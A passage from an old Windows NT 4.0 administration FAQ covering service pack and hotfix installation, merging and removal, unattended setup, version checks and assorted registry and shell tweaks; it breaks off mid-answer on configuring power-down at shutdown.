A. Due to changes in Service Pack 3 the Emergency Repair Disk process has changed. The file setupdd.sys that is on the 2nd NT installation disk has been superseded by the one supplied with service pack 3. To extract the file from the Service Pack 3 executable, follow the instructions below:

  1. Copy nt4sp3_i.exe to a temporary area
  2. Uncompress the service pack
    nt4sp3_i /x
  3. Insert the second NT installation disk (do not use the originals, create a new set using winnt32 /ox)
  4. Set the file setupdd.sys to write enabled
    attrib -r a:\setupdd.sys
  5. Copy the new setupdd.sys to the 2nd installation disk
    copy setupdd.sys a:

This is discussed in the Service Pack 3 readme file, and also in knowledge base article Q146887.


Q. How do I remove the Java Hotfix for Service Pack 3?

A. Manually unpack the hotfix
javafixi /x
Then type
hotfix -y
And it will remove the hotfix.

This method may become the new standard for hot fixes.


Q. How do I install multiple Hotfixes at the same time?

A. When you extract the files in a hotfix, generally the following will be extracted

  • hotfix.exe
  • hotfix.inf
  • a number of executables/drivers/sys files etc (usually one file)

The hotfix.exe is the same executable for all the hotfixes, and the hotfix.inf is basically the same, the only difference is the files that are to be copied, e.g. tcpip.sys, and a description of the hotfix. To install multiple hotfixes at the same time all that is needed is to decompress the hotfix files and update the hotfix.inf with the information on which files to copy.

  1. Create a directory on a disk called hotfix
    md hotfix
  2. From the command line decompress the hotfixes you wish to install, note each time you decompress a hotfix a new hotfix.inf will overwrite the existing one so you may wish to backup the .inf files
    - <hotfix name> /x, e.g. javafixi /x
    - you will be asked where to extract the hot fix files to, enter the hotfix directory and click OK, e.g. d:\hotfix
    - copy the hotfix.inf file to the name of the hotfix, e.g.
    copy hotfix.inf javafix.inf
  3. You will now have a number of files in the hotfix directory, with hotfix.exe, hotfix.inf and all the versions of the .inf files you copied. You now need to merge the contents of the .inf files into one main hotfix.inf file.
    If the hotfix you extracted had file tcpip.sys (ignore the .dbg files) you need to update the hotfix.inf file to include the copying of this file. Since TCPIP.SYS lives in the system32/drivers directory, you would add the line TCPIP.SYS to the [Drivers.files] section of the hotfix.inf file, e.g.
    [Drivers.files]
    TCPIP.SYS
    You also need to add TCPIP.SYS to the [SourceDisksFiles] section, e.g.
    [SourceDisksFiles]
    TCPIP.SYS=1
  4. Finally you need to add a comment at the end of the hotfix.inf file with a description of the hotfix in the [strings] section with the Q number and a comment, e.g.
    [Strings]
    ..
    HOTFIX_NUMBER="Q143478"
    COMMENT="This fix corrects the port 139 OOB attack"
    For multiple comments and numbers use HOTFIX_NUMBER2, COMMENT2 etc.

The reason we copied the .inf files is that you can just cut and paste the hotfix specific information to the common hotfix.inf. When you decompressed a hotfix you will see which files were created, you could then search the .inf file for the file name and it would be in two places, the directory it belongs in and the [SourceDisksFiles] section. You could then go to the bottom of the file and cut and paste the HOTFIX_NUMBER and COMMENT and add to the end of HOTFIX.INF.

This is very hard to explain and an example is probably the best way to demonstrate this. Suppose you want to install

  • The java hotfix - javafixi.exe
  • The OOB data hotfix - oobfix_i.exe
  • The GetAdmin hotfix - admnfixi.exe

The procedure would be as follows

  1. Decompress the hotfixes to the hotfix directory and after each extraction backup the hotfix.inf file in the order admnfixi.exe - javafixi.exe - oobfix_i.exe
  2. Admnfixi.exe consists of ntkrnlmp.exe and ntoskrnl.exe, search admnfixi.inf
(the copy we made) for the files and they appear as follows
[Uniprocessor.Kernel.files]
NTOSKRNL.EXE

[Multiprocessor.Kernel.files]
NTOSKRNL.EXE, NTKRNLMP.EXE

[SourceDisksFiles]
NTKRNLMP.EXE=1
NTOSKRNL.EXE=1

[Strings]
HOTFIX_NUMBER="Q146965"
COMMENT="This fix corrects GETADMIN problem"
  3. javafixi.exe consists of win32k.sys so search javafixi.inf for
win32k.sys
[MustReplace.System32.files]
WIN32K.SYS

[SourceDisksFiles]
WIN32K.SYS=1

[Strings]
HOTFIX_NUMBER="Q123456"
COMMENT="This fix corrects the problem with True Color adapter cards and
Java"
  4. The current version of hotfix.inf already contains the information for the oobfix as it was the last installed, so the information for the above 2 must be added resulting in the changes being

    [MustReplace.System32.files]
    WIN32K.SYS

    [Drivers.files]
    TCPIP.SYS

    [Uniprocessor.Kernel.files]
    NTOSKRNL.EXE

    [Multiprocessor.Kernel.files]
    NTOSKRNL.EXE, NTKRNLMP.EXE

    [SourceDisksFiles]
    NTKRNLMP.EXE=1
    NTOSKRNL.EXE=1
    TCPIP.SYS=1
    WIN32K.SYS=1

    [Strings]
    ;; this part needs modifying, only one HOTFIX_NUMBER can be passed so created your own internal reference,
    ;; e.g. Q99999 and also the comments need a unique number at the end, e.g. comment1, comment2 otherwise
    ;; only the first comment will be entered
    HOTFIX_NUMBER="Q999999"
    COMMENT1="This fix corrects the port 139 OOB attack"
    COMMENT2="This fix corrects GETADMIN problem"
    COMMENT3="This fix corrects the problem with True Color adapter cards and Java"

To install just type

hotfix

from the directory created (i.e. hotfix), you will see a dialog copying the files (the ones you have specified in the hotfix.inf file :-) ), and the system will reboot. To see what hotfixes are installed:

  1. Start the Registry Editor (Regedit.exe)
  2. Look at the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix values


Q. How do I install Hotfixes the same time as I install Service Pack 3 onwards?

A. Update.exe that ships with Service Pack 3 checks for the existance of a hotfix subdirectory, and if in that directory the files hotfix.exe and hotfix.inf are present you are asked when running update.exe if you also want to install the hotfixes.

  1. Create a direrectory to hold the extracted Service Pack
    md servpack
  2. Extract the Service Pack
    nt4sp3_i /x
    You will be asked for a directory, enter the created directory, e.g. e:\servpack and click OK
  3. Create a hotfix subdirectory
    md hotfix
  4. Extract the hotfixes to this directory using the instructions in the previous FAQ
  5. Run UPDATE.EXE in the servpack directory and click Yes when asked to install Hotfixes


Q. I have installed Service Pack 3, now I cannot run Java programs.

A. An updated virtual machine used to be available for Internet Explorer 4.0 from the Microsoft site but now you need IE 4.0.

There is also a hotfix for Service Pack 3 available from Microsoft ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/java-fix/JAVAFIXI.EXE or install service pack 4 or above.


Q. I have installed Service Pack 3, however the Policy Editor has not been updated.

A. This is caused by a mistake in the Service Pack 3 update.inf file. The entry for poledit.exe (the executable for the policy editor) is specified in the [MustReplace.system32.files] section whereas the file should actually be in the [SystemRoot.files].

To install the new Policy Editor perform the following

  1. Expand the service pack
    nt4sp3_i /x
  2. You will be asked for a directory, enter a path and click OK. A message "Extraction complete" will be displayed when completed
  3. Move to the directory the service pack was extracted to and copy the file poledit.exe to the %systemroot% directory
    copy poledit.exe %systemroot%

Alternatively you can update the update.inf fiile and move the location of poledit.exe from [MustReplace.system32.files] to [SystemRoot.files].


Q. How can I tell if I have the 128 bit version of Service Pack 3 installed?

A. The easiest way to tell this is to examine the secure channel dynamic link library (SCHANNEL.DLL):

  1. Start Explorer (Win + E or Start - Programs - Explorer)
  2. Move to %systemRoot%/system32 (where %systemRoot is the windows NT directory, e.g. d:\winnt)
  3. Right click on Schannel.dll and select properties
  4. Click the Version tab. The description will be one of the following:
    PCT / SSL Security Provider (U.S. and Canada for the 128 bit version.) if you have the 128 bit version
    or
    PCT / SSL Security Provider (Export Version) if you have the non-128 bit version
  5. Click OK when finished
  6. Close Explorer


Q. How do I install a service pack during a unattended installation?

A. There are various options, however all of them require for the service pack to be extracted to a directory, using

NT4SP3_I /x

and you then enter the directory where you want to extract to.

You could extract to a directory under the $OEM$ installation directory which would then be copied locally during the installation and you could add the line

".\UPDATE.EXE -U -Z"

to CMDLINES.TXT. This will increase the time of the text portion of the installation as the contents have to be copied over the network.

With Service Pack 4 you could just add and not need to expand the service pack first.

[Commands]
".\sp4\sp4i386.exe -z -u"

Simply create a folder called sp4 under $OEM$ and copy sp4i386.exe to it.

If using the above you should ensure you have the following in unattended.txt

[Unattended]
OemPreinstall=yes

An alternate method is to install from a network drive, this requires a bit more work:

  1. Create a directory on a network server and copy the extracted service pack to this directory. Setup a share on this directory called SP
  2. Create a batch file in the $OEM$ share of the installation area called SERVPACK.CMD with the following:
    net use z:\\<server>\SP /persistent:no /user:<domain name> \guest < password.txt
    z:\update.exe -u -z
  3. You need to create the password.txt file that contains the guest account password (usually blank) therefore perform the following:
    - type copy con password.txt
    - press ENTER once
    - press CTRL+Z to save the file
    If the password is not blank enter the password then press ENTER
  4. Copy the password.txt file to the $OEM$ directory
  5. Edit CMDLINES.TXT and add ".\SERVPACK.CMD" to the end


Q. What order should I apply the Hot fixes?

A. There is no specific order to apply post Service Pack 4 and Service Pack 5 hotfixes.

The Service Pack 3 hotfixes are, for the most part, cumulative. This means that the latest binary also includes fixes previously made to the same binary.

For example, the 01/09/98 version of Tcpip.sys (teardrop2-fix) also includes previous fixes to Tcpip.sys (such as land-fix, icmp-fix, and oob-fix).

When you apply multiple fixes, please install them in the following order to ensure a newer fix is not replaced by an older one.

  • oob-fix
  • asp-fix
  • java-fix
  • dns-fix
  • iis-fix
  • lsa-fix
  • dblclick-fix
  • icmp-fix
  • zip-fix
  • roll-up (or roll-up/cluster)
  • mdl-fix
  • getadmin-fix
  • roll-up/cluster
  • winsupd-fix
  • ndis-fix
  • scsi-fix
  • 2gcrash
  • simptcp-fix
  • ide-fix
  • wan-fix
  • land-fix
  • pent-fix (x86 only)
  • joystick-fix (x86 only)
  • SAG-fix
  • iis4-fix
  • pptp-fix
  • teardrop2-fix
  • tapi21-fix
  • pcm-fix
  • srv-fix
  • y2k-fix
  • euro-fix
  • atapi-fix
  • netbt-fix
  • prnt-fix
  • sfm-fix
  • pptp2-fix
  • rras20-fix
  • lsa2-fix
  • ssl-fix
  • priv-fix
  • pptp3-fix
  • rras30-fix

For the Microsoft version of the list please see ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/postsp3.txt


Q. I get an error message when I try to re-apply a hotfix after installing a service pack?

A. If when you try and reinstall a hotfix (after re-applying a service pack etc.) you get the error

Hotfix: The fix is already installed.
Hotfix: Internal consistency error: Invalid Tree pointer = <garbage characters displayed>.

you need to remove the hotfix before trying to reinstall.

To remove a hotfix you would usually use hotfix /r or hotfix -y (depending on the version, to check how use /? on the hotfix for the syntax) however there are situations where it will refuse to remove the hotfix:

Hotfix: Fix <name of hotfix> was not removed.

All the hotfix actually does when you install one is to check a registry entry so see if it already there, so to get round this problem we can go into the registry and remove the hotfixes corresponding entry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
  3. Under this key will be a number of sub-keys with name of the Knowledge base article the hotfix is referenced by as the name, e.g. Q123456 (the True Colour adapter fix).
  4. To get more details about the hotfix, select the key (e.g. Q123456) and look at the "Fix Description" value.
  5. To remove NT's knowledge of the fix being installed select the specific hotfix you want to remove (e.g. Q123456) and select Delete from the Edit menu. Click Yes to the confirmation
  6. Close the registry editor.

The fix is still installed on the system, all you have done is removed NT's knowledge of its installation so you will now be able to re-install the hotfix in the normal way.


Q. When should I reapply a Service Pack?

A. You should reapply any Service Pack (and subsequent hotfixes) whenever you add any system utilities/services or hardware/software. A good rule of thumb is if the computer says "Changes have been made you must shutdown and restart your computer" reapply your service pack before the reboot.

The only problem is once you reinstall a service pack, unless you uninstall then reinstall, you will lose the ability to uninstall it.


Q. What is Option Pack 4?

A. Due to a lot of public pressure, Microsoft agreed to no longer include any new functionality in Service Packs, but would rather produce a separate add-on which would update various option components.

Option Pack 4 is the first of these (to keep in step with Service Pack 4) and can be downloaded from http://www.microsoft.com/ntserver/nts/downloads/recommended/NT4OptPk/default.asp or is supplied as part of MSDN. The download is about 27MB.

If you download from the web you have to download a special program, download.exe, which you then run which downloads or installs the software.

Included in Option Pack 4 are:

  • Internet Information Server 4.0 (which used the new Microsoft Management Console which is standard in NT 5.0)
  • Microsoft Transaction Server 2.0 (this is tied in with IIS)
  • Microsoft Message Queue Server 1.0
  • Internet Connection Services for Microsoft RAS
  • Certificate Server
  • Site Server Express
  • SMTP Server
  • Message Queue Server

More information can be found at http://www.microsoft.com/NTServer/nts/exec/overview/WhatNew.asp

To install the Option Pack you must be running Service Pack 3 or above (I tested with Service Pack 4 and you get warnings that it has not been tested on Service Pack 4 but it works fine) and you must have Internet Explorer 4.01 or above.

Once you start the installation you should click Next to the introduction screen and you will then have two options

  1. Upgrade Only
  2. Upgrade Plus

If you select Upgrade Only then only existing components on the system will be upgrade to Option Pack 4 version, clicking Upgrade Plus allows you to install extra software.

If you select Upgrade Plus you can then choose which components to install. Items such as IIS have sub-components such as NNTP server (news) which you can optionally install.

Depending on the components you selected you will be asked some minor questions and then the machine will reboot.


Q. How can I tell which version Service Pack I have installed?

A. When a Service Pack is installed using the normal method (e.g. not just copying the files to a build location) the service pack version is entered into the registry value CSDVersion which is under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion.

The value is of the formal "Service Pack n", e.g. "Service Pack 4" but can have extra information if it is a beta or release candidate, e.g. "Service Pack 4, RC 1.99".

To check this from the command line you could use the REG.EXE Resource Kit supplement 2 utility:

C:\>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion"
REG_SZ CSDVersion Service Pack 4, RC 1.99

Make sure you put the value in double quotes (").

An alternative is to just run WINVER.EXE which will tell you your current build and Service Pack version. You can also use WINMSD.EXE or Help/About in Explorer.


Q. I receive an error trying to install Service Pack 4 for NT 4.0.

A. If when installing Service Pack 4 you receive the error:

"Service Pack Setup Error. You do not have permissions to update Windows NT. Please contact your system administrator."

it may be caused by the update.exe image being in the wrong directory.

If you have expanded the service pack using nt4sp4i.exe /x it will create a subdirectory, update, which will include the files

  • Update.exe
  • Update.inf
  • Update.nvt

When running update.exe it must be in the update subdirectory. If not you should move the image accordingly.


Q. Setupdd.sys is missing in Service Pack 4/5.

A. Setupdd.sys is included on the Service Pack 4/5 CD and in the Y2K download version of Service Pack 4 but not the normal version.

This file is needed to replace the one on the second Windows NT installation disk to repair a system that has Service Pack 3 or above. To create a set of NT installations disks insert the NT installation CD-ROM and type winnt32 /ox.

You can download SETUPDD.SYS here.


Q. Important steps for installing Service Pack 4.

A. Service Pack 4 makes some permanent changes to the registry and so before installing you should perform the following steps to facilitate a Service Pack uninstall in the event of a problem. Before installing the service pack make sure you have performed the installation on a test server and as with another "fix" don't install unless you need a fix supplied by the Service Pack or have been instructed to install it by a Microsoft support engineer. If it ain't broke, don't fix it.

  1. Perform a full backup of all files and the registry using NTBACKUP or another backup program
  2. Create an up-to-date Emergency Repair Disk and store safely
    RDISK /s
  3. Reboot your system and check the Event Viewer (Start - Programs - Administrative Tools - Event Viewer) and check for any errors. Fix before proceeding. If you make any changes fixing the problems go back to step 2 and recreate another ERD.
  4. Copy your old Uninstall directory to a backup location
    C:\> md %systemroot%\$ntservicepackuninstallback$
    C:\> copy %systemroot%\$ntservicepackuninstall$ %systemroot%\$ntservicepackuninstallback$
  5. Run the resource kit utility SRVINFO.EXE (if available) and keep a copy of the output
  6. Disable any non-essential third-party drivers/services not required for starting the system. Contact the manufacturers to see if updated versions are available.
  7. Check you have enough disk space, you will need 80MB if you select to create an uninstall directory, 40MB if not
  8. Close all active debugging sessions or remote control sessions and any other non-essential applications before starting the upgrade


Q. Uninstalling Service Pack 4.

A. As was explained in "Q. Important steps for installing Service Pack 4.", Service Pack 4 makes some changes to registry which can't be undone. Because of this, in the event of a Service Pack 4 uninstall the following files are left unrestored

  • samsrv.dll
  • samlib.dll
  • winlogon.exe
  • lsasrv.dll
  • services.exe
  • msv1_0.dll

Additionally the files below are also not restored:

Crypt32.dll, Comctl32.dll, Schannel.dll, Cryptdlg.dll, Pstorerc.dll, Psbase.dll, Pstores.exe, Pstorec.dll, Cryptext.dll, Cryptui.dll, Mssign32.dll, Wintrust.dll, Softpub.dll, Mssip32.dll, Mscat32.dll, Initpki.dll, Cryptnet.dll, Xenroll.dll, Dssig.dll, Sigres.exe, Dssbase.dll, Reaenh.dll (128 bit security only), Rsabase.dll, Certmgr.msc, and Syske.exe.

To uninstall the Service Pack either start the Add/Remove programs control panel applet (Start - Settings - Control Panel - Add/Remove programs), select "Windows NT Service Pack 4" and click Remove, or, move to the %systemroot%\$NtServicePackUninstall$\spuninst directory and run spuninst.exe.

If you wanted to completely uninstall the service pack, undoing the registry changes and restoring all original files you would need to restore the %systemroot% directory from a back and repair the registry using the ERD disk you created. Alternatively you could uninstall as normal then use the ERD to repair the registry and replace the six files that the uninstall does not fix.


Q. How can I tell who installed/uninstalled Service Pack 4?

A. When Service Pack 4 is installed or uninstalled an Event is written to the System Event Log. The Event ID is 4353 so you could just create a filter (View - Filter Events) to view only Event ID 4353. It gives information of the person and time it was actioned.

The messages are

Windows NT Service Pack 4 was installed (Service Pack 3 was previously installed).

or

Windows NT Service Pack 4 was uninstalled. Restoring Windows NT to Service Pack 3.


Q. Service Pack 4 unattended installation switches.

A. The following switches can be used with UPDATE.EXE program supplied with Service Pack 4

-u | Unattended mode
-f | Force all apps to close at shutdown
-n | Do not create an uninstall directory
-o | Overwrite OEM files without asking
-z | Do not reboot when installation is complete
-q | Quiet mode - no user interaction


Q. New Event Logs in Windows NT 4.0 Service Pack 4.

A. Service Pack 4 adds 4 new Event log messages to the System Event Log:

  • Event 6005 is logged at boot time noting that the Event Log service was started.
    The Event log service was started.
  • Event 6006 is logged at shut down time when the Event Log service is stopped
    The Event log service was stopped.
  • Event 6008 is logged as a dirty shutdown.
    The previous system shutdown at 07:51 on 15/02/99 was unexpected.
  • Event 6009 is logged during every boot and indicates the operating system version, build number, service pack level, and other pertinent information about the system.
    Microsoft (R) Windows NT (R) 4.0 1381 Service Pack 4 Uniprocessor Free.

These can all be viewed using the Event Viewer which is located in the Administrative Tools program folder.


Q. When will Service Pack 6 for NT 4.0 be released?

A. Service Pack 6 has now been released (27/10/1999).


Q. I receive an error that setup.log cannot be found when installing a service pack.

A. If when you try and install a service pack you receive one of the following errors:

Service Pack Setup could not find the Setup.log file in your repair directory

or

Service Pack Setup cannot open or modify your SETUP.LOG file

The problem is either

  • SETUP.LOG in the %systemroot%\repair directory is missing or damaged
  • The folder in which Windows NT was installed has been renamed (although this is unsupported by Microsoft)

If the file SETUP.LOG in the %systemroot%\repair is missing then you can copy it off your Emergency repair disk however if this is not an option you could copy from another machine but you may need to update the first few number of lines in the file (I copied a setup.log file from a NT Server Terminal Server installation to an NT Workstation and installed Service Pack 5 with no problems after changing the device and directory! This is not a supported method though).

Below is an example of the first lines of setup.log

[Paths]
TargetDirectory="\WINNT"
TargetDevice="\Device\Harddisk0\partition2"
SystemPartitionDirectory="\"
SystemPartition="\Device\Harddisk0\partition1"
[Signature]
Version="WinNt4.0"
[Files.SystemPartition]
ntldr="ntldr","2a36b"
NTDETECT.COM="NTDETECT.COM","b69e"
[Files.WinNt]
\WINNT\Help\31users.hlp="31users.hlp","12bfc"
... etc.

If you copy from another machine you may need to update the TargetDirectory and also the TargetDevice (which is where the %systemroot% is located and can be compared against the boot.ini file) and SystemPartition (which is the active partition, starting from 1, e.g. C:, this should not need to be changed).

If the TargetDirectory is different you should perform a global replace in the file from the old name, e.g. WINTSRV to the new name, e.g. WINNT.

If you do have a setup.log file in the repair directory and still get problems installing check that its format matches that given above.

If you don't have any SETUP.LOG files I have an example one you can download and modify from an NT Workstation installation (but don't mail me asking for support) but the correct procedure is outlined at http://support.microsoft.com/support/kb/articles/Q173/3/84.asp which involves reinstalling NT over your existing installation.


Q. How can I perform a function in a logon script depending on machines Service Pack version?

A. A new utility from SavillTech, CmdInfo sets error level values depending on the Service Pack version of the client machine, depending on the results different actions can be taken.

CmdInfo can be downloaded from http://www.savilltech.com/download/cmdinfo.zip.

CmdInfo can also perform actions depending on the OS version, installation type. Below is an example of usage to detect SP version in a logon script:

@ECHO OFF

CMDINFO.EXE /sp
IF ERRORLEVEL 5 GOTO SP5
IF ERRORLEVEL 4 GOTO SP4
IF ERRORLEVEL 3 GOTO SP3
IF ERRORLEVEL 2 GOTO SP2
IF ERRORLEVEL 1 GOTO SP1
IF ERRORLEVEL 0 GOTO SP0

:SP5
ECHO Service Pack 5 is installed on this NT computer.
ECHO No further upgrades are necessary.
GOTO END

:SP4
ECHO Service Pack 4 is installed on this NT computer.
ECHO Press any key to install Service Pack 5...
PAUSE > NUL
rem Let's assume drive X: is mapped to a sharepoint...
rem X:\SP5\UPDATE\UPDATE.EXE -u -f -o
GOTO END

rem (etc. ...)

:END
EXIT


Q. How can I check if I have SP6 or SP6a installed?

A. There has been some confusion about versions of Service Pack 6. To check which version of SP6 you are running run WINVER.EXE and if the text:

"Revised Service Pack 6a" appears under the copyright notice then you are running SP6a (notice it will still just say SP6 next to the build).

If the line is missing you are running the old SP6 and need to update your system with the patch available from http://download.microsoft.com/download/winntsp/Patch/6.0a/NT4/EN-US/Q246009i.EXE.

A normal NT SP6 system

An updated SP6a system


Q. Is there a script that will reinstall a service pack and hotfixes then reboot?

A. Windows NT suffers the problem of whenever you add/modify a core component you have to reinstall the last service pack and any hotfixes and this can be quite a job. This will not be a problem in Windows 2000 as the system will automatically use the newest files from the base install or service pack when adding components.

I knocked a script together below which just applies the service pack and any hotfixes then lets the server/workstation reboot. Ideally store the expanded service pack and hotfixes on a network location and then you/users can run the script to reinstall the service pack/hotfixes.

\\morpheus\installation\nt4ws\sp6a\update\update -u -n -o -z -q
\\morpheus\installation\nt4ws\sp6a\c2-fix\hotfix -n -z -q -m
\\morpheus\installation\nt4ws\sp6a\winlogon-fix\hotfix -n -f -q -m

Basically I've got a share called installation on a server Morpheus. Under that I've expanded Service Pack 6a and the two recent hotfixes.

The first command installs service pack 6, the -u means unattended mode, -n means not to backup files for uninstall purposes, -o means overwrite OEM files without asking, -z says not to reboot after installing (as we need to install the hotfixes) and -q means quiet mode.

Next we install the first hotfix, here we use -n means not to create an uninstall directory, -z means no reboot, -q means quiet and -m for unattended.

The above would be repeated for all hotfixes except the last one applied as after the last one we want to reboot so the -z changes to a -f which forces the applications to close at shutdown and allows the reboot.

You may want to modify bits of this, maybe add some logic to check the users current service pack version (you could use cmdinfo to check this, http://www.savilltech.com/cmdinfo.html) and then run different service pack/hotfix's depending on that.

I don't create uninstalls for any of the installations as this is a re-installation so this would all ready have been done on the initial installation. If you want to use this script to perform an initial installation consider removing the -n switch from all commands.


Q. How do I expand a service pack/hotfix without installing?

A. Its often useful to have a directory with an expanded service pack/hotfix in to allow faster installation.

To expand a service pack to a directory perform the following:

  1. Download the full service pack
  2. Run the downloaded service pack with a /x at the end, e.g.
    sp6i386.exe /x
  3. You will be asked for a directory to expand to, enter your selection and click OK
  4. A completion dialog will be displayed and click OK
  5. In the selected folder a subfolder called update will be created. In this folder is update.exe which can be used to install the service pack.

To expand a hotfix perform the following:

  1. Download the hotfix via FTP from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
  2. Run the downloaded hotfix with a /x at the end, e.g.
    q244599i /x
  3. You will be asked for a directory to expand to, enter your selection and click OK
  4. A completion dialog will be displayed and click OK
  5. You will now have a list of files in a directory including hotfix.exe which is used to install the hotfix


Q. What Newsgroups are good for NT information?

A. The ones I subscribe to are:

  • comp.os.ms-windows.nt.misc
  • comp.os.ms-windows.net.setup.misc
  • comp.os.ms-windows.nt.admin.misc
  • comp.os.ms-windows.nt.admin.security
  • comp.os.ms-windows.nt.admin.networking
  • comp.os.ms-windows.nt.software.services
  • comp.os.ms-windows.nt.announce (moderated)
  • microsoft.public.windowsnt.misc
  • microsoft.public.windowsnt.setup
  • microsoft.public.windowsnt.domain

Before posting to any of the Microsoft newsgroups, please read the Microsoft policy on Newsgroup posting, a HTML version of this can be viewed at http://www.ntfaq.com/ntfaq/MSNews.html.


Q. Where can I get more information?

A. There are various sites on the web that have extra information

  • http://www.ntfaq.com (home of the NT FAQ)
  • http://www.microsoft.com/ntworkstation
  • http://www.microsoft.com/ntserver
  • http://www.microsoft.com/ntserverenterprise/
  • http://www.microsoft.com/iis/
  • http://www.microsoft.com/windows/
  • http://www.microsoft.com/windows98/
  • http://support.microsoft.com/support/
  • http://www.sysinternals.com
  • http://www.jsiinc.com


Q. How do I decrease the boot delay?

A. There are two ways of performing this change, the first method just automates the second method.

Method 1

  1. Logon as Administrator
  2. Start the System Control Panel applet (start - Settings - Control Panel - System)
  3. Select the Start-up/Shutdown tab
  4. In the "Show list for" box set the number of seconds to the delay required

Method 2

Method 1 just updates the timeout value in the [boot loader] section of boot.ini so we can do this manually:

  1. Set the file to non-system and non-read-only
    attrib c:\boot.ini -r -s
  2. Edit the file and change the timeout value to whatever you want, e.g. to make it wait for 5 seconds change to
    timeout= 5
    Save your changes
  3. Set the file back to system and read-only
    attrib c:\boot.ini +r +s


Q. Where do I load ANSI.SYS

A. There is a file in your system32 directory, CONFIG.NT, that tells NT how to run DOS 5 sessions. Add the line
device=c:\winnt\system32\ansi.sys
or
device=%systemroot%\system32\ansi.sys.

You will then have to start a command line using the COMMAND.COM that came with DOS 5.0 (dig out those old disks!).


Q. How can I configure the local machine to perform a task at a set time?

A. Use the at command, e.g. for a job to run every weekday (like a backup)
C:\ at 20:00 /every:M,T,W,Th,F "<command string e.g. backup>"

For this to work the Schedule service must be running with can be started from the Services control panel applet or via the command line

C:\> net start schedule


Q. How do I change the Organization name on NT?

A. Your company changed names again? To change the company name in NT is easy,

  1. Start the Registry editor (Start - Run - REGEDIT)
  2. Goto the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion and select the CurrentVersion
  3. On the right hand part of the screen is a number of values
  4. Double click on RegisteredOrganization and change the value data
  5. Click OK
  6. Exit the Registry Editor


Q. How do I change the default location NT expects to find NT software for installation(i.e. CD)

A. Start the Registry editor, and change HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SourcePath and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\SourcePath to the desired path (double click on the value to change it then press OK)


Q. How can I remove the Shut Down button from the login screen?

A. To remove the Shut Down button, start the registry editor, and change KHEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and change ShutdownWithoutLogon from 1 to 0.

This can also be accomplished using the policy editor (poledit.exe). Expand the Windows NT System - Logon tree and blank out "Enable shutdown from Authentication dialog box".


Q. How can I Parse/Not Parse autoexec.bat?

A. The value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ParseAutoexec should be set to 1 for autoexec.bat to be parsed, or 0 for autoexec.bat not to be parsed.


Q. How do I add a path statement in NT?

A. Start Control Panel, double click the System icon, and goto the Environment Tab. Choose if it should be a user or system path defined, and click on the path variable, and then add the statement to the end of the current string (including a ;), then click set.


Q. Can I change the default Windows Background?

A. Using the Registry Editor (regedt32), edit the key HKEY_USERS\.DEFAULT\Control Panel\Desktop and double click the Wallpaper Key, and enter the value including directory (e.g. c:\winnt\savlogo.bmp).You can also change the background colour HKEY_USERS\DEFAULT\Control Panel\Colors, double click Background, and change value (e.g. 0 0 0 for black).


Q. How do I change the Start menu items under the line?

A. Items above the line are part of the logged in users profile (winnt/profiles/<user name>/Start Menu/Programs). Items under the line are part of the all user group (winnt/profiles/All Users/Start Menu/Programs). To change these click on Start - Settings - Taskbar & Start Menu - Start Menu - Advanced and then move directory to the All Users and then make changes. You can only set the All Users Folder if you are logged on as a member with Administrative Privs.


Q. How can I restore the old Program Manager?

A. NT 4.0 by default uses the "Explorer" shell (explorer.exe), however the old Program Manager (progman.exe) is still delivered with NT 4.0, and be configured to be the default shell using the registry:

  1. Start the registry editor (Start - Run - Regedit.exe)
  2. Goto the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Double click on the value "Shell"
  4. Change from explorer.exe to progman.exe and click OK
  5. Exit the registry editor
  6. Log off, and then logon
  7. Back to the old! :-)


Q. Is there a way to start NT in Dos mode?

A. The command shell is command.com, and NT can be started in this mode with command.com as the default shell. Just perform the steps in previous FAQ, but instead of changing the shell value to progman.exe, change it to command.com or cmd.exe.


Q. How can I disable "Lock Workstation" when I press Ctrl-Alt-Del?

A. Service Pack 4 introduces a new registry entry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
  3. From the Edit menu select New - DWORD value
  4. Enter a name of DisableLockWorkstation and press Enter
  5. Double click on the new value and set to 1. Click OK
  6. Close the registry editor

Lock Workstation will now be greyed out.

This is also possible if you don't mind hacking one of the system dll files. The file that the ctrl-alt-del dialog is stored in is msgina.dll. Using any 32bit resource editor (such as one with a Win32 C++ compiler, Visual C++, Borland C++) you can edit this dll and remove the "Lock Workstation" button. Below are instructions for performing this with Visual C++ however for another resource editor find dialog #1650 and edit the attributes of the "Lock Workstation" to "inactive" or "invisible".

  1. Rename %systemroot%\system32\msgina.dll to msgina_orig.dll (this is so you have a backup)
  2. Copy the file back to be called msgina.dll
    e.g. copy d:\winnt\system32\msgina_orig.dll d:\winnt\system32\msgina.dll
  3. Start Visual C++, and select open
  4. Change the type to Executable Files (.dll, .exe, .ocx)
  5. Move to the %systemroot%\system32 directory and select msgina.dll and click OK
  6. Once open, click on the dialog tree, and double click 1650
  7. Double click on the "Lock Workstation" button and deselect "visible"
  8. Close the dialog box and the from the file menu select Save
  9. Exit Visual C++ and reboot the machine
  10. Once the machine has booted up again the "Lock Workstation" button will no longer be displayed

There is now a utility written by Alaxander Frink which automates the above process available at http://wwwthep.physik.uni-mainz.de/~frink/nt.html .


Q. How can I make NT powerdown on shutdown?

A. Follow the procedures below:

  1. Start the registry editor (REGEDIT.EXE)
  2. Goto the Key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
